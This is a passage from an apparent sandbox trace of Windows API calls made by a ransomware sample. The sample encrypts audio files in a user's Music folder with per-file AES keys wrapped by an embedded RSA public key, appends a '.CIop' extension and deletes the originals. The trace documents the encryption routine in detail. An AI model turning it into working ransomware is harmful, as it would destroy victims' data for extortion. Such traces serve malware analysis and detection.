[0096.015] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.015] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.015] CryptDestroyKey (hKey=0x5c3150) returned 1 [0096.015] CryptReleaseContext (hProv=0x5c86a8, dwFlags=0x0) returned 1 [0096.015] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\gsswfcqipn.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0096.015] WriteFile (in: hFile=0x4d0, lpBuffer=0x63ccf8*, nNumberOfBytesToWrite=0x820c, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x63ccf8*, lpNumberOfBytesWritten=0x2fee5d8*=0x820c, lpOverlapped=0x0) returned 1 [0096.016] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x820c [0096.016] WriteFile (in: hFile=0x4d0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.016] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8213 [0096.016] SetErrorMode (uMode=0x1) returned 0x1 [0096.016] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.016] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.016] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.016] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c8e18) returned 1 [0096.017] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8e18, dwCertEncodingType=0x1, pInfo=0x5c1850, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2d10) returned 1 [0096.017] CryptEncrypt (in: hKey=0x5c2d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.017] CryptEncrypt (in: hKey=0x5c2d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c86a8*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c86a8*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.017] WriteFile (in: hFile=0x4d0, lpBuffer=0x5c86a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c86a8*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.017] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.017] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.018] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.018] CloseHandle (hObject=0x4d0) returned 1 [0096.019] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\GsSWFcQiPn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\gsswfcqipn.wav")) returned 0 Thread: id = 116 os_tid = 0x804 [0096.045] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.045] lstrcpyW (in: lpString1=0x2fef368, lpString2="LG0LJ99M.mp3" | out: lpString1="LG0LJ99M.mp3") returned="LG0LJ99M.mp3" [0096.045] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.045] SetErrorMode (uMode=0x1) returned 0x1 [0096.045] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3") returned 52 [0096.045] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3", dwFileAttributes=0x20) returned 1 [0096.046] StrStrW (lpFirst="LG0LJ99M.mp3", lpSrch=".CIop") returned 0x0 [0096.046] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3.CIop") returned 57 [0096.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\lg0lj99m.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0096.047] ReadFile (in: hFile=0x4dc, lpBuffer=0x652658, nNumberOfBytesToRead=0x11096, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x2fee5e8*=0x11096, lpOverlapped=0x0) returned 1 [0096.047] CloseHandle (hObject=0x4dc) returned 1 [0096.048] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\lg0lj99m.mp3")) returned 1 [0096.049] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0096.049] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0096.049] SetErrorMode (uMode=0x1) returned 0x1 [0096.049] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x5c8730) returned 1 [0096.052] CryptGenKey (in: hProv=0x5c8730, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3150) returned 1 [0096.074] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.074] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0096.074] CryptDestroyKey (hKey=0x5c3150) returned 1 [0096.074] CryptReleaseContext (hProv=0x5c8730, dwFlags=0x0) returned 1 [0096.075] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\lg0lj99m.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0096.075] WriteFile (in: hFile=0x4e4, lpBuffer=0x652658*, nNumberOfBytesToWrite=0x11096, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x2fee5d8*=0x11096, lpOverlapped=0x0) returned 1 [0096.077] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11096 [0096.077] WriteFile (in: hFile=0x4e4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.077] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1109d [0096.077] SetErrorMode (uMode=0x1) returned 0x1 [0096.077] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.077] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.077] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0096.077] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x5c88c8) returned 1 [0096.077] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c88c8, dwCertEncodingType=0x1, pInfo=0x5c2140, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2d50) returned 1 [0096.077] CryptEncrypt (in: hKey=0x5c2d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0096.078] CryptEncrypt (in: hKey=0x5c2d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c90c0*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c90c0*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0096.078] WriteFile (in: hFile=0x4e4, lpBuffer=0x5c90c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c90c0*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.078] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.079] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.079] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.079] CloseHandle (hObject=0x4e4) returned 1 [0096.081] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\LG0LJ99M.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\lg0lj99m.mp3")) returned 0 Thread: id = 117 os_tid = 0x60c [0096.082] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.082] lstrcpyW (in: lpString1=0x314f368, lpString2="p6xCw Vob.mp3" | out: lpString1="p6xCw Vob.mp3") returned="p6xCw Vob.mp3" [0096.082] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.082] SetErrorMode (uMode=0x1) returned 0x1 [0096.082] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3") returned 53 [0096.082] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3", dwFileAttributes=0x20) returned 1 [0096.082] StrStrW (lpFirst="p6xCw Vob.mp3", lpSrch=".CIop") returned 0x0 [0096.082] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3.CIop") returned 58 [0096.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\p6xcw vob.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0096.083] ReadFile (in: hFile=0x4d0, lpBuffer=0x652658, nNumberOfBytesToRead=0xcda3, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x314e5e8*=0xcda3, lpOverlapped=0x0) returned 1 [0096.084] CloseHandle (hObject=0x4d0) returned 1 [0096.084] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\p6xcw vob.mp3")) returned 1 [0096.087] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0096.087] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0096.087] SetErrorMode (uMode=0x1) returned 0x1 [0096.087] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x5c8730) returned 1 [0096.089] CryptGenKey (in: hProv=0x5c8730, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5c3150) returned 1 [0096.132] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0096.132] CryptExportKey (in: hKey=0x5c3150, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x314e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0096.132] CryptDestroyKey (hKey=0x5c3150) returned 1 [0096.132] CryptReleaseContext (hProv=0x5c8730, dwFlags=0x0) returned 1 [0096.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\p6xcw vob.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0096.133] WriteFile (in: hFile=0x4e0, lpBuffer=0x652658*, nNumberOfBytesToWrite=0xcda3, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x314e5d8*=0xcda3, lpOverlapped=0x0) returned 1 [0096.134] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcda3 [0096.134] WriteFile (in: hFile=0x4e0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0096.134] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcdaa [0096.134] SetErrorMode (uMode=0x1) returned 0x1 [0096.134] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0096.134] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0096.134] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0096.134] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x5c9148) returned 1 [0096.135] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c9148, dwCertEncodingType=0x1, pInfo=0x5c1920, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5c2e50) returned 1 [0096.135] CryptEncrypt (in: hKey=0x5c2e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0096.135] CryptEncrypt (in: hKey=0x5c2e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c91d0*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c91d0*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0096.135] WriteFile (in: hFile=0x4e0, lpBuffer=0x5c91d0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c91d0*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0096.135] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.136] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.136] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.136] CloseHandle (hObject=0x4e0) returned 1 [0096.263] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\p6xCw Vob.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\p6xcw vob.mp3")) returned 0 Thread: id = 118 os_tid = 0xc24 [0096.106] lstrcpyA (in: lpString1=0x328e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0096.106] lstrcpyW (in: lpString1=0x328f368, lpString2="t41qgP8Zl.wav" | out: lpString1="t41qgP8Zl.wav") returned="t41qgP8Zl.wav" [0096.107] lstrcpyW (in: lpString1=0x328f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0096.107] SetErrorMode (uMode=0x1) returned 0x1 [0096.107] wsprintfW (in: param_1=0x328eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav") returned 53 [0096.107] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav", dwFileAttributes=0x20) returned 1 [0096.107] StrStrW (lpFirst="t41qgP8Zl.wav", lpSrch=".CIop") returned 0x0 [0096.107] wsprintfW (in: param_1=0x328e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav.CIop") returned 58 [0096.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\t41qgP8Zl.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\go5j 80\\t41qgp8zl.wav"), dwDesiredAccess=0xc0000000, 